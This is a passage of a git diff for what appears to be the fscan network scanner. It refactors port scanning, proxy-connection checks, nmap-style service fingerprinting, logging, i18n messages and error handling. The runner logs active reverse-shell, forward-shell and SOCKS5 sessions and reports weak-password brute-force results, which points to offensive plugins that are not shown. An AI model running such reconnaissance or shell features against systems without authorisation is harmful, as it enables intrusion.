serviceInfo.Name)) + fmt.Fprintf(&msg, " %-8s", serviceInfo.Name) } // 构建 [Product:xxx ||Version:xxx] 格式 @@ -361,7 +438,7 @@ func buildServiceLogMessage(addr string, serviceInfo *ServiceInfo, isWeb bool) s info = append(info, fmt.Sprintf("Version:%s", serviceInfo.Version)) } if len(info) > 0 { - msg.WriteString(fmt.Sprintf(" [%s]", strings.Join(info, " ||"))) + fmt.Fprintf(&msg, " [%s]", strings.Join(info, " ||")) } // Banner 信息 @@ -370,14 +447,14 @@ func buildServiceLogMessage(addr string, serviceInfo *ServiceInfo, isWeb bool) s if len(banner) > 80 { banner = banner[:80] + "..." } - msg.WriteString(fmt.Sprintf(" Banner:(%s)", banner)) + fmt.Fprintf(&msg, " Banner:(%s)", banner) } return msg.String() } // scanSinglePort 扫描单个端口并进行服务识别(重构后的简洁版本) -func scanSinglePort(ctx context.Context, host string, port int, addr string, adaptiveTO *AdaptiveTimeout, count *int64, collector *resultCollector, failedCollector *failedPortCollector, session *common.ScanSession) { +func scanSinglePort(ctx context.Context, host string, port int, addr string, adaptiveTO *AdaptiveTimeout, count *atomic.Int64, collector *resultCollector, failedCollector *failedPortCollector, session *common.ScanSession) { config := session.Config timeout := adaptiveTO.Timeout() // 步骤1:建立连接 @@ -390,16 +467,16 @@ func scanSinglePort(ctx context.Context, host string, port int, addr string, ada adaptiveTO.Record(time.Since(start)) // 步骤1.5:代理连接深度验证(防止透明代理/全回显代理的假连接问题) - valid, verifyMethod := verifyProxyConnectionDeep(conn, addr) + valid, verifyMethod := verifyProxyConnectionDeep(conn, addr, session) if !valid { - common.LogDebug(fmt.Sprintf("代理验证失败 %s: %s", addr, verifyMethod)) + session.LogDebug(i18n.Tr("proxy_verify_failed", addr, verifyMethod)) _ = conn.Close() return } // 步骤1.6:如果使用了代理且进行了数据交互,需要重建连接 // 因为验证阶段可能读取了Banner或发送了HTTP GET探测,污染了连接状态 - if common.IsProxyEnabled() && verifyMethod != "direct" { + if session.ProxyEnabled() && verifyMethod != "direct" { _ = conn.Close() // 重新建立干净的连接用于服务识别 conn, err = connectWithRetry(ctx, session, addr, timeout, 2) @@ -410,9 +487,9 @@ func scanSinglePort(ctx context.Context, host string, port int, addr string, ada } // 步骤2:记录开放端口 - atomic.AddInt64(count, 1) + count.Add(1) collector.Add(addr) - saveOpenPort(host, port) + saveOpenPort(session, host, port) // 步骤3:服务识别(Scanner负责关闭连接,包括探测中可能创建的新连接) scanner := NewSmartPortInfoScanner(ctx, host, port, conn, timeout, config, session) @@ -429,7 +506,7 @@ func scanSinglePort(ctx context.Context, host string, port int, addr string, ada serviceInfo, _ := scanner.SmartIdentify() // 步骤4:处理结果 - processServiceResult(host, port, addr, serviceInfo, config, session) + processServiceResult(ctx, host, port, addr, serviceInfo, config, session) } // handleConnectionFailure 处理连接失败 @@ -448,10 +525,10 @@ func handleConnectionFailure(err error, host string, port int, addr string, fail // 1. 快速 Banner 检测 (100ms) - 大部分服务会主动发送数据 // 2. 轻量探测 (发送 \r\n) - 触发某些服务响应,同时不污染协议状态 // 3. 短超时等待 (500ms) - 平衡准确性和性能 -func verifyProxyConnectionDeep(conn net.Conn, addr string) (bool, string) { +func verifyProxyConnectionDeep(conn net.Conn, addr string, session *common.ScanSession) (bool, string) { // 无代理或SOCKS5代理:跳过深度验证 // SOCKS5协议层已验证连接可达性,连接成功即端口开放 - if !common.IsProxyEnabled() || common.IsSOCKS5Proxy() { + if !session.ProxyEnabled() || session.IsSOCKS5Proxy() { return true, "direct" } @@ -466,7 +543,7 @@ func verifyProxyConnectionDeep(conn net.Conn, addr string) (bool, string) { if n > 0 { if isProxyErrorResponse(buf[:n]) { - common.LogDebug(fmt.Sprintf("代理返回错误响应 %s", addr)) + common.LogDebug(i18n.Tr("proxy_error_response", addr)) return false, "proxy_error" } return true, "banner" @@ -483,7 +560,7 @@ func verifyProxyConnectionDeep(conn net.Conn, addr string) (bool, string) { _ = conn.SetWriteDeadline(time.Time{}) if writeErr != nil && isConnectionClosed(writeErr) { - common.LogDebug(fmt.Sprintf("探测写入失败 %s: %v", addr, writeErr)) + common.LogDebug(i18n.Tr("proxy_probe_write_failed", addr, writeErr)) return false, "write_failed" } @@ -495,7 +572,7 @@ func verifyProxyConnectionDeep(conn net.Conn, addr string) (bool, string) { if n > 0 { if isProxyErrorResponse(buf[:n]) { - common.LogDebug(fmt.Sprintf("代理探测返回错误 %s", addr)) + common.LogDebug(i18n.Tr("proxy_probe_error_response", addr)) return false, "proxy_error" } return true, "probe" @@ -503,10 +580,10 @@ func verifyProxyConnectionDeep(conn net.Conn, addr string) (bool, string) { // 阶段4: 最终判断 if readErr != nil { - errLower := strings.ToLower(readErr.Error()) + errStr := readErr.Error() for _, pattern := range proxyFailurePatterns { - if strings.Contains(errLower, pattern) { - common.LogDebug(fmt.Sprintf("代理连接被拒绝 %s: %v", addr, readErr)) + if containsFold(errStr, pattern) { + common.LogDebug(i18n.Tr("proxy_connection_rejected", addr, readErr)) return false, "proxy_reject" } } @@ -516,7 +593,7 @@ func verifyProxyConnectionDeep(conn net.Conn, addr string) (bool, string) { // 在透明代理环境下,ProxyReliable 检测可能被污染,不可信 // 因此采用更保守的策略:无响应一律判定为关闭 // 这样可以避免透明代理导致的全端口误报问题 - common.LogDebug(fmt.Sprintf("代理连接无响应,判定为端口关闭 %s", addr)) + common.LogDebug(i18n.Tr("proxy_no_response_closed", addr)) return false, "no_response" } @@ -538,21 +615,9 @@ func isProxyErrorResponse(data []byte) bool { } // 检查常见的代理错误文本 - dataStr := strings.ToLower(string(data)) - proxyErrorTexts := []string{ - "connection refused", - "host unreachable", - "network unreachable", - "connection timed out", - "proxy error", - "gateway error", - "bad gateway", - "502", - "503", - } - + dataStr := string(data) for _, errText := range proxyErrorTexts { - if strings.Contains(dataStr, errText) { + if containsFold(dataStr, errText) { return true } } @@ -566,17 +631,9 @@ func isConnectionClosed(err error) bool { return false } - errStr := strings.ToLower(err.Error()) - closedPatterns := []string{ - "broken pipe", - "connection reset", - "connection refused", - "use of closed network connection", - "connection was forcibly closed", - } - + errStr := err.Error() for _, pattern := range closedPatterns { - if strings.Contains(errStr, pattern) { + if containsFold(errStr, pattern) { return true } } @@ -585,8 +642,8 @@ func isConnectionClosed(err error) bool { } // saveOpenPort 保存开放端口结果 -func saveOpenPort(host string, port int) { - _ = common.SaveResult(&output.ScanResult{ +func saveOpenPort(session *common.ScanSession, host string, port int) { + _ = session.SaveResult(&output.ScanResult{ Time: time.Now(), Type: output.TypePort, Target: host, @@ -596,11 +653,11 @@ func saveOpenPort(host string, port int) { } // processServiceResult 处理服务识别结果 -func processServiceResult(host string, port int, addr string, serviceInfo *ServiceInfo, config *common.Config, session *common.ScanSession) { +func processServiceResult(ctx context.Context, host string, port int, addr string, serviceInfo *ServiceInfo, config *common.Config, session *common.ScanSession) { if serviceInfo == nil { // 服务识别失败,尝试 HTTP 回退探测 - if !tryHTTPFallbackDetection(host, port, addr, config, session) { - common.LogInfo(i18n.Tr("port_open", addr)) + if !tryHTTPFallbackDetection(ctx, host, port, addr, config, session) { + session.LogInfo(i18n.Tr("port_open", addr)) } return } @@ -614,15 +671,15 @@ func processServiceResult(host string, port int, addr string, serviceInfo *Servi MarkAsWebService(host, port, serviceInfo) } - _ = common.SaveResult(&output.ScanResult{ + _ = session.SaveResult(&output.ScanResult{ Time: time.Now(), Type: output.TypeService, - Target: fmt.Sprintf("%s:%d", host, port), + Target: net.JoinHostPort(host, strconv.Itoa(port)), Status: "identified", Details: details, }) - common.LogInfo(buildServiceLogMessage(addr, serviceInfo, isWeb)) + session.LogInfo(buildServiceLogMessage(addr, serviceInfo, isWeb)) } // buildServiceDetails 构建服务详情 map @@ -659,10 +716,10 @@ func buildServiceDetails(port int, info *ServiceInfo) map[string]interface{} { } // tryHTTPFallbackDetection 尝试HTTP回退探测,返回是否成功识别为HTTP服务 -func tryHTTPFallbackDetection(host string, port int, addr string, config *common.Config, session *common.ScanSession) bool { +func tryHTTPFallbackDetection(ctx context.Context, host string, port int, addr string, config *common.Config, session *common.ScanSession) bool { // 使用WebDetection进行HTTP协议探测 webDetector := GetWebPortDetector() - if !webDetector.DetectHTTPServiceOnly(host, port, config, session) { + if !webDetector.DetectHTTPServiceOnlyContext(ctx, host, port, config, session) { return false } @@ -682,15 +739,15 @@ func tryHTTPFallbackDetection(host string, port int, addr string, config *common "is_web": true, "detected_by": "http_probe", } - _ = common.SaveResult(&output.ScanResult{ + _ = session.SaveResult(&output.ScanResult{ Time: time.Now(), Type: output.TypeService, - Target: fmt.Sprintf("%s:%d", host, port), + Target: net.JoinHostPort(host, strconv.Itoa(port)), Status: "identified", Details: details, }) - common.LogInfo(i18n.Tr("port_open_http", addr)) + session.LogInfo(i18n.Tr("port_open_http", addr)) return true } @@ -735,7 +792,7 @@ func probeSubnets(ctx context.Context, hosts []string, timeout time.Duration, se return hosts } - common.LogInfo(fmt.Sprintf("网段预筛: %d 个 /24 子网, %d 个主机", len(subnets), len(hosts))) + session.LogInfo(i18n.Tr("subnet_prefilter_start", len(subnets), len(hosts))) aliveSubnets := sync.Map{} var wg sync.WaitGroup @@ -751,12 +808,12 @@ func probeSubnets(ctx context.Context, hosts []string, timeout time.Duration, se limiter <- struct{}{} go func(pfx, addr string) { defer func() { <-limiter; wg.Done() }() - conn, err := net.DialTimeout("tcp", addr, subnetProbeTimeout) + conn, err := session.DialTCP(ctx, "tcp", addr, subnetProbeTimeout) if err == nil { _ = conn.Close() aliveSubnets.Store(pfx, true) } - }(prefix, fmt.Sprintf("%s:%d", gw, port)) + }(prefix, net.JoinHostPort(gw, strconv.Itoa(port))) } } } @@ -789,7 +846,7 @@ func probeSubnets(ctx context.Context, hosts []string, timeout time.Duration, se go func(pfx, h string, p int) { defer func() { <-limiter; wg.Done() }() - conn, err := net.DialTimeout("tcp", fmt.Sprintf("%s:%d", h, p), subnetProbeTimeout) + conn, err := session.DialTCP(ctx, "tcp", net.JoinHostPort(h, strconv.Itoa(p)), subnetProbeTimeout) if err == nil { _ = conn.Close() aliveSubnets.Store(pfx, true) @@ -817,8 +874,7 @@ done: } skipped := len(subnets) - aliveCount - common.LogInfo(fmt.Sprintf("网段预筛完成: %d 个存活 (网关命中 %d), %d 个跳过, 剩余 %d 主机", - aliveCount, gwHits, skipped, len(result))) + session.LogInfo(i18n.Tr("subnet_prefilter_done", aliveCount, gwHits, skipped, len(result))) return result } diff --git a/core/port_scan_test.go b/core/port_scan_test.go index 770718c..e527964 100644 --- a/core/port_scan_test.go +++ b/core/port_scan_test.go @@ -662,7 +662,7 @@ func TestIsResourceExhaustedError_EdgeCases(t *testing.T) { { name: "大小写混合", err: fmt.Errorf("Too Many Open Files"), - expected: false, // 当前实现区分大小写 + expected: true, // containsFold 不区分大小写 }, { name: "错误信息包含但不完全匹配", diff --git a/core/portfinger/match_engine.go b/core/portfinger/match_engine.go index 9b15398..c34458b 100644 --- a/core/portfinger/match_engine.go +++ b/core/portfinger/match_engine.go @@ -4,6 +4,8 @@ import ( "fmt" "regexp" "strings" + + "github.com/shadow1ng/fscan/common/i18n" ) // BytesToRegexSafeString 将字节切片转换为 Go regexp 安全的正则表达式模式字符串 @@ -13,7 +15,7 @@ func BytesToRegexSafeString(b []byte) string { for _, c := range b { if c < 32 || c >= 128 { // 控制字符和高位字节转换为 \x{NN} 格式 - result.WriteString(fmt.Sprintf("\\x{%02x}", c)) + fmt.Fprintf(&result, "\\x{%02x}", c) } else { result.WriteByte(c) } @@ -43,7 +45,7 @@ func (p *Probe) parseMatchDirective(data, prefix string, isSoft bool) (Match, er // 分割文本获取pattern和版本信息 textSplited := strings.Split(directive.DirectiveStr, directive.Delimiter) if len(textSplited) == 0 { - return match, fmt.Errorf("无效的%s指令格式", prefix) + return match, fmt.Errorf("%s", i18n.Tr("portfinger_match_directive_invalid", prefix)) } pattern := textSplited[0] diff --git a/core/portfinger/probe_parser.go b/core/portfinger/probe_parser.go index 555b97c..fb9bcc4 100644 --- a/core/portfinger/probe_parser.go +++ b/core/portfinger/probe_parser.go @@ -4,6 +4,8 @@ import ( "fmt" "strconv" "strings" + + "github.com/shadow1ng/fscan/common/i18n" ) // 解析指令语法,返回指令结构 @@ -29,22 +31,20 @@ func (p *Probe) getDirectiveSyntax(data string) (directive Directive) { return directive } -// 解析探测器信息 -func (p *Probe) parseProbeInfo(probeStr string) { +// parseProbeInfo 解析探测器信息,返回错误替代 panic +func (p *Probe) parseProbeInfo(probeStr string) error { // 提取协议和其他信息 proto := probeStr[:4] other := probeStr[4:] // 验证协议类型 if proto != "TCP " && proto != "UDP " { - errMsg := "探测器协议必须是 TCP 或 UDP" - panic(errMsg) + return fmt.Errorf("%s", i18n.GetText("portfinger_probe_protocol_invalid")) } // 验证其他信息不为空 if len(other) == 0 { - errMsg := "nmap-service-probes - 探测器名称无效" - panic(errMsg) + return fmt.Errorf("%s", i18n.GetText("portfinger_probe_name_invalid")) } // 解析指令 @@ -55,6 +55,7 @@ func (p *Probe) parseProbeInfo(probeStr string) { p.Data = strings.Split(directive.DirectiveStr, directive.Delimiter)[0] p.Protocol = strings.ToLower(strings.TrimSpace(proto)) + return nil } // 从字符串解析探测器信息 @@ -65,11 +66,13 @@ func (p *Probe) fromString(data string) error { data = strings.TrimSpace(data) lines := strings.Split(data, "\n") if len(lines) == 0 { - return fmt.Errorf("输入数据为空") + return fmt.Errorf("%s", i18n.GetText("portfinger_input_empty")) } probeStr := lines[0] - p.parseProbeInfo(probeStr) + if err := p.parseProbeInfo(probeStr); err != nil { + return err + } // 解析匹配规则和其他配置 var matchs []Match @@ -154,8 +157,8 @@ func (p *Probe) parseFallback(data string) { p.Fallback = data[len("fallback")+1:] } -// 从内容解析探测器规则 -func (v *VScan) parseProbesFromContent(content string) { +// parseProbesFromContent 从内容解析探测器规则,返回错误替代 panic +func (v *VScan) parseProbesFromContent(content string) error { var probes []Probe var lines []string @@ -171,8 +174,7 @@ func (v *VScan) parseProbesFromContent(content string) { // 验证文件内容 if len(lines) == 0 { - errMsg := "读取nmap-service-probes文件失败: 内容为空" - panic(errMsg) + return fmt.Errorf("%s", i18n.GetText("portfinger_probe_file_empty")) } // 检查Exclude指令 @@ -182,16 +184,14 @@ func (v *VScan) parseProbesFromContent(content string) { excludeCount++ } if excludeCount > 1 { - errMsg := "nmap-service-probes文件中只允许有一个Exclude指令" - panic(errMsg) + return fmt.Errorf("%s", i18n.GetText("portfinger_probe_exclude_duplicate")) } } // 验证第一行格式 firstLine := lines[0] if !strings.HasPrefix(firstLine, "Exclude ") && !strings.HasPrefix(firstLine, "Probe ") { - errMsg := "解析错误: 首行必须以\"Probe \"或\"Exclude \"开头" - panic(errMsg) + return fmt.Errorf("%s", i18n.GetText("portfinger_probe_first_line_invalid")) } // 处理Exclude指令 @@ -214,6 +214,7 @@ func (v *VScan) parseProbesFromContent(content string) { } v.AllProbes = probes + return nil } // 将探测器转换为名称映射 diff --git a/core/portfinger/scanner_core.go b/core/portfinger/scanner_core.go index a71596c..a73d2fd 100644 --- a/core/portfinger/scanner_core.go +++ b/core/portfinger/scanner_core.go @@ -19,13 +19,16 @@ var ( vscanOnce sync.Once ) -// Init 初始化VScan对象 -func (vs *VScan) Init() { - vs.parseProbesFromContent(ProbeString) +// Init 初始化VScan对象,返回错误替代panic +func (vs *VScan) Init() error { + if err := vs.parseProbesFromContent(ProbeString); err != nil { + return err + } vs.parseProbesToMapKName() vs.SetusedProbes() - vs.compileFallbacks() // 编译 fallback 数组 - vs.preDecodeProbeData() // 预解码探针数据 + vs.compileFallbacks() + vs.preDecodeProbeData() + return nil } // preDecodeProbeData 预解码所有探针的 Data 字段,避免运行时重复解码 @@ -100,10 +103,14 @@ func (vs *VScan) compileFallbacks() { } // InitializeGlobalVScan 初始化全局VScan实例(线程安全,只执行一次) -func InitializeGlobalVScan() { +func InitializeGlobalVScan() error { + var initErr error vscanOnce.Do(func() { globalVScan = VScan{} - globalVScan.Init() + if err := globalVScan.Init(); err != nil { + initErr = err + return + } // 获取并检查 NULL 探测器 if nullProbe, ok := globalVScan.ProbesMapKName["NULL"]; ok { @@ -115,26 +122,27 @@ func InitializeGlobalVScan() { globalCommon = &genericProbe } }) + return initErr } // GetGlobalVScan 获取全局VScan实例 func GetGlobalVScan() *VScan { - InitializeGlobalVScan() // 确保已初始化 + _ = InitializeGlobalVScan() // 确保已初始化 return &globalVScan } // GetNullProbe 获取NULL探测器 func GetNullProbe() *Probe { - InitializeGlobalVScan() // 确保已初始化 + _ = InitializeGlobalVScan() // 确保已初始化 return globalNull } // GetCommonProbe 获取通用探测器 func GetCommonProbe() *Probe { - InitializeGlobalVScan() // 确保已初始化 + _ = InitializeGlobalVScan() // 确保已初始化 return globalCommon } func init() { - InitializeGlobalVScan() + _ = InitializeGlobalVScan() } diff --git a/core/scanner.go b/core/scanner.go index 7703b25..32f2430 100644 --- a/core/scanner.go +++ b/core/scanner.go @@ -17,6 +17,20 @@ import ( "github.com/shadow1ng/fscan/webscan/lib" ) +// ScanReport summarizes one scan execution. +type ScanReport struct { + Duration time.Duration + TasksTotal int64 + TasksCompleted int64 + Packets int64 + TCPPackets int64 + TCPSuccessPackets int64 + TCPFailedPackets int64 + UDPPackets int64 + HTTPPackets int64 + ResourceExhausted int64 +} + // ScanStrategy 定义扫描策略接口 type ScanStrategy interface { Execute(ctx context.Context, session *common.ScanSession, info common.HostInfo, ch chan struct{}, wg *sync.WaitGroup) @@ -54,6 +68,10 @@ func determineScanMode(config *common.Config, state *common.State) ScanMode { return ScanModeAlive case config.LocalMode: return ScanModeLocal + case common.IsLocalMode != nil && common.IsLocalMode(config.Mode): + config.LocalMode = true + config.LocalPlugin = config.Mode + return ScanModeLocal case len(state.GetURLs()) > 0: return ScanModeWeb default: @@ -74,7 +92,8 @@ func selectStrategy(config *common.Config, state *common.State, info common.Host } // RunScan 执行整体扫描流程 -func RunScan(ctx context.Context, info common.HostInfo, session *common.ScanSession) { +func RunScan(ctx context.Context, info common.HostInfo, session *common.ScanSession) (ScanReport, error) { + start := time.Now() ctx, cancel := context.WithCancel(ctx) defer cancel() @@ -83,8 +102,8 @@ func RunScan(ctx context.Context, info common.HostInfo, session *common.ScanSess // 初始化HTTP客户端(静默,无需日志) if err := lib.Inithttp(config); err != nil { - common.LogError(i18n.Tr("http_client_init_failed", err)) - os.Exit(1) + session.LogError(i18n.Tr("http_client_init_failed", err)) + return buildScanReport(state, start), fmt.Errorf("initialize http client: %w", err) } // 选择策略 @@ -103,22 +122,22 @@ func RunScan(ctx context.Context, info common.HostInfo, session *common.ScanSess // 检查是否有活跃的连接需要维持 if state.IsReverseShellActive() || state.IsSocks5ProxyActive() || state.IsForwardShellActive() { if state.IsReverseShellActive() { - common.LogInfo(i18n.GetText("active_reverse_shell")) + session.LogInfo(i18n.GetText("active_reverse_shell")) } if state.IsSocks5ProxyActive() { - common.LogInfo(i18n.GetText("active_socks5_proxy")) + session.LogInfo(i18n.GetText("active_socks5_proxy")) } if state.IsForwardShellActive() { - common.LogInfo(i18n.GetText("active_forward_shell")) + session.LogInfo(i18n.GetText("active_forward_shell")) } - common.LogInfo(i18n.GetText("press_ctrl_c_exit")) + session.LogInfo(i18n.GetText("press_ctrl_c_exit")) // 优雅等待信号或 context 取消(Web Stop) sigChan := make(chan os.Signal, 1) signal.Notify(sigChan, os.Interrupt, syscall.SIGTERM) select { case <-sigChan: - common.LogInfo(i18n.GetText("received_exit_signal")) + session.LogInfo(i18n.GetText("received_exit_signal")) case <-ctx.Done(): } cancel() @@ -126,18 +145,40 @@ func RunScan(ctx context.Context, info common.HostInfo, session *common.ScanSess } // 完成扫描 - finishScan(config, state) + finishScan(session) + if err := ctx.Err(); err != nil { + return buildScanReport(state, start), err + } + return buildScanReport(state, start), nil +} + +func buildScanReport(state *common.State, start time.Time) ScanReport { + return ScanReport{ + Duration: time.Since(start), + TasksTotal: state.GetEnd(), + TasksCompleted: state.GetNum(), + Packets: state.GetPacketCount(), + TCPPackets: state.GetTCPPacketCount(), + TCPSuccessPackets: state.GetTCPSuccessPacketCount(), + TCPFailedPackets: state.GetTCPFailedPacketCount(), + UDPPackets: state.GetUDPPacketCount(), + HTTPPackets: state.GetHTTPPacketCount(), + ResourceExhausted: state.GetResourceExhaustedCount(), + } } // finishScan 完成扫描并输出结果 -func finishScan(config *common.Config, state *common.State) { +func finishScan(session *common.ScanSession) { + config := session.Config + state := session.State + // 确保进度条正确完成 if common.IsProgressActive() { common.FinishProgressBar() } // 输出扫描完成信息 - common.LogInfo(i18n.Tr("scan_task_complete", time.Since(state.GetStartTime()).Round(time.Millisecond), state.GetNum())) + session.LogInfo(i18n.Tr("scan_task_complete", time.Since(state.GetStartTime()).Round(time.Millisecond), state.GetNum())) // 输出性能统计 JSON(如果启用) if config.Output.PerfStats { @@ -170,6 +211,12 @@ func ExecuteScanTasks(ctx context.Context, session *common.ScanSession, targets default: } + if session.PauseGate != nil { + if err := session.PauseGate(ctx); err != nil { + return + } + } + targetPort := target.Port for _, pluginName := range pluginsToRun { @@ -221,14 +268,28 @@ func executeScanTask(ctx context.Context, session *common.ScanSession, pluginNam default: } + if session.PauseGate != nil { + if err := session.PauseGate(ctx); err != nil { + return + } + } + // 长驻插件不进 WaitGroup,通过 ctx 管理生命周期 if longRunningPlugins[pluginName] { + ready := make(chan struct{}, 1) go func() { plugin := plugins.Get(pluginName) if plugin != nil { + go func() { + time.Sleep(500 * time.Millisecond) + ready <- struct{}{} + }() plugin.Scan(ctx, &target, session) + } else { + ready <- struct{}{} } }() + <-ready return } @@ -250,7 +311,7 @@ func executeScanTask(ctx context.Context, session *common.ScanSession, pluginNam defer func() { // 捕获并记录任何可能的panic if r := recover(); r != nil { - common.LogError(i18n.Tr("plugin_panic", pluginName, target.Host, target.Port, r)) + session.LogError(i18n.Tr("plugin_panic", pluginName, target.Host, target.Port, r)) } // 更新统计和进度(任务真正完成时才更新) @@ -269,13 +330,13 @@ func executeScanTask(ctx context.Context, session *common.ScanSession, pluginNam if result != nil { if result.Success { // 保存成功的扫描结果到文件 - savePluginResult(&target, pluginName, result) + savePluginResult(session, &target, pluginName, result) } else if result.Type == plugins.ResultTypeCredential { // 凭据测试完成但未发现弱密码,在error级别输出提示 - common.LogError(i18n.Tr("brute_no_weak_pass", target.Host, target.Port, pluginName)) + session.LogError(i18n.Tr("brute_no_weak_pass", target.Host, target.Port, pluginName)) } else if result.Error != nil { // 其他类型的错误 - common.LogError(i18n.Tr("plugin_scan_error", target.Host, target.Port, result.Error)) + session.LogError(i18n.Tr("plugin_scan_error", target.Host, target.Port, result.Error)) } } } @@ -370,7 +431,7 @@ var defaultSerializer = resultSerializer{ } // savePluginResult 保存插件扫描结果 -func savePluginResult(info *common.HostInfo, pluginName string, result *plugins.Result) { +func savePluginResult(session *common.ScanSession, info *common.HostInfo, pluginName string, result *plugins.Result) { if result == nil || !result.Success || result.Skipped { return } @@ -390,7 +451,7 @@ func savePluginResult(info *common.HostInfo, pluginName string, result *plugins. // 保存结果 target := info.Target() - _ = common.SaveResult(&output.ScanResult{ + _ = session.SaveResult(&output.ScanResult{ Time: time.Now(), Type: serializer.outputType, Target: target, diff --git a/core/service_probe.go b/core/service_probe.go index d61c707..f201cc2 100644 --- a/core/service_probe.go +++ b/core/service_probe.go @@ -3,14 +3,15 @@ package core import ( "context" "errors" - "fmt" "io" "net" + "strconv" "strings" "sync" "time" "github.com/shadow1ng/fscan/common" + "github.com/shadow1ng/fscan/common/i18n" "github.com/shadow1ng/fscan/core/portfinger" ) @@ -171,7 +172,6 @@ func (s *SmartPortInfoScanner) tryInitialBanner() ([]byte, error) { return response, nil } - // smartProbeStrategy 智能探测策略 // 改进版:使用 nmap-service-probes.txt 中的 ports 字段和 rarity 排序 func (s *SmartPortInfoScanner) smartProbeStrategy() { @@ -264,7 +264,7 @@ func (s *SmartPortInfoScanner) reconnectIfNeeded() { } // 重新建立连接 - newConn, err := s.session.DialTCP(s.info.ctx, "tcp", fmt.Sprintf("%s:%d", s.Address, s.Port), s.Timeout) + newConn, err := s.session.DialTCP(s.info.ctx, "tcp", net.JoinHostPort(s.Address, strconv.Itoa(s.Port)), s.Timeout) if err != nil { return } @@ -392,7 +392,7 @@ func (i *Info) tryProbes(response []byte, probes []*Probe) bool { func (i *Info) GetInfo(response []byte, probe *Probe) { // 响应数据有效性检查 if len(response) <= 0 { - common.LogDebug("响应数据为空") + common.LogDebug(i18n.GetText("service_probe_empty_response")) return } @@ -460,12 +460,12 @@ func (i *Info) handleHardMatch(response []byte, match *Match) { // 特殊处理 microsoft-ds 服务 if result.Service.Name == "microsoft-ds" { - common.LogDebug("特殊处理 microsoft-ds 服务") + common.LogDebug(i18n.GetText("service_probe_microsoft_ds")) result.Service.Extras["hostname"] = result.Banner } i.Found = true - common.LogDebug(fmt.Sprintf("服务识别结果: %s, Banner: %s", result.Service.Name, result.Banner)) + common.LogDebug(i18n.Tr("service_probe_identified", result.Service.Name, result.Banner)) } // handleNoMatch 处理未找到匹配的情况 @@ -477,10 +477,10 @@ func (i *Info) handleNoMatch(response []byte, result *Result, softFound bool, so bannerLower := strings.ToLower(result.Banner) if strings.Contains(bannerLower, "http/") || strings.Contains(bannerLower, "html") { - common.LogDebug("识别为HTTP服务") + common.LogDebug(i18n.GetText("service_probe_http_identified")) result.Service.Name = "http" } else { - common.LogDebug("未知服务") + common.LogDebug(i18n.GetText("service_probe_unknown")) result.Service.Name = "unknown" } } else { @@ -488,7 +488,7 @@ func (i *Info) handleNoMatch(response []byte, result *Result, softFound bool, so result.Service.Extras = extras.ToMap() result.Service.Name = softMatch.Service i.Found = true - common.LogDebug(fmt.Sprintf("软匹配服务: %s", result.Service.Name)) + common.LogDebug(i18n.Tr("service_probe_soft_match", result.Service.Name)) } } @@ -542,7 +542,7 @@ func (i *Info) Write(msg []byte) error { _ = oldConn.Close() // 尝试重新连接 - 支持SOCKS5代理 - newConn, retryErr := i.session.DialTCP(i.ctx, "tcp", fmt.Sprintf("%s:%d", i.Address, i.Port), time.Duration(6)*time.Second) + newConn, retryErr := i.session.DialTCP(i.ctx, "tcp", net.JoinHostPort(i.Address, strconv.Itoa(i.Port)), time.Duration(6)*time.Second) if retryErr != nil { return retryErr } @@ -607,6 +607,11 @@ func readFromConn(conn net.Conn) ([]byte, error) { var result []byte + // 预分配 4KB,消除大部分服务 Banner 场景下的 append 扩容 + if cap(buf) > 0 { + result = make([]byte, 0, 4096) + } + for { count, err := conn.Read(buf) diff --git a/core/service_scanner.go b/core/service_scanner.go index 8924d0a..82025a4 100644 --- a/core/service_scanner.go +++ b/core/service_scanner.go @@ -3,6 +3,7 @@ package core import ( "context" "fmt" + "net" "strconv" "strings" "sync" @@ -10,6 +11,7 @@ import ( "github.com/shadow1ng/fscan/common" "github.com/shadow1ng/fscan/common/i18n" "github.com/shadow1ng/fscan/common/parsers" + "github.com/shadow1ng/fscan/plugins" ) // ServiceScanStrategy 服务扫描策略 @@ -20,32 +22,32 @@ type ServiceScanStrategy struct { // NewServiceScanStrategy 创建新的服务扫描策略 func NewServiceScanStrategy() *ServiceScanStrategy { return &ServiceScanStrategy{ - BaseScanStrategy: NewBaseScanStrategy("服务扫描", FilterService), + BaseScanStrategy: NewBaseScanStrategy(i18n.GetText("scan_strategy_service_name"), FilterService), } } // LogPluginInfo 重写以提供基于端口的插件过滤 -func (s *ServiceScanStrategy) LogPluginInfo(config *common.Config) { +func (s *ServiceScanStrategy) LogPluginInfo(config *common.Config, session *common.ScanSession) { // 需要从命令行参数获取端口信息来进行过滤 // 如果没有指定端口,使用默认端口进行过滤显示 ports := config.Target.Ports if ports == "" || ports == "all" { // 默认端口扫描:显示所有插件 - s.BaseScanStrategy.LogPluginInfo(config) + s.BaseScanStrategy.LogPluginInfo(config, session) } else { // 指定端口扫描:只显示匹配的插件 - s.showPluginsForSpecifiedPorts(config) + s.showPluginsForSpecifiedPorts(config, session) } } // showPluginsForSpecifiedPorts 显示指定端口的匹配插件 -func (s *ServiceScanStrategy) showPluginsForSpecifiedPorts(config *common.Config) { +func (s *ServiceScanStrategy) showPluginsForSpecifiedPorts(config *common.Config, session *common.ScanSession) { allPlugins, isCustomMode := s.GetPlugins(config) // 解析端口 ports := s.parsePortList(config.Target.Ports) if len(ports) == 0 { - s.BaseScanStrategy.LogPluginInfo(config) + s.BaseScanStrategy.LogPluginInfo(config, session) return } @@ -71,12 +73,12 @@ func (s *ServiceScanStrategy) showPluginsForSpecifiedPorts(config *common.Config if len(applicablePlugins) > 0 { pluginStr := formatPluginList(applicablePlugins) if isCustomMode { - common.LogInfo(i18n.Tr("service_plugin_custom", pluginStr)) + session.LogInfo(i18n.Tr("service_plugin_custom", pluginStr)) } else { - common.LogInfo(i18n.Tr("service_plugin_info", pluginStr)) + session.LogInfo(i18n.Tr("service_plugin_info", pluginStr)) } } else { - common.LogInfo(i18n.GetText("service_plugin_none")) + session.LogInfo(i18n.GetText("service_plugin_none")) } } @@ -118,21 +120,21 @@ func (s *ServiceScanStrategy) Execute(ctx context.Context, session *common.ScanS // 验证扫描目标(需要同时检查 -h 和 -hf 参数) if info.Host == "" && session.Params.HostsFile == "" { - common.LogError(i18n.GetText("parse_error_target_empty")) + session.LogError(i18n.GetText("parse_error_target_empty")) return } // 输出扫描开始信息 - s.LogScanStart() + s.LogScanStart(session) // 验证插件配置 if err := s.ValidateConfiguration(); err != nil { - common.LogError(err.Error()) + session.LogError(err.Error()) return } // 输出插件信息(重写以提供端口过滤) - s.LogPluginInfo(config) + s.LogPluginInfo(config, session) // 执行主机扫描流程 s.performHostScan(ctx, session, info, ch, wg) @@ -144,57 +146,55 @@ func 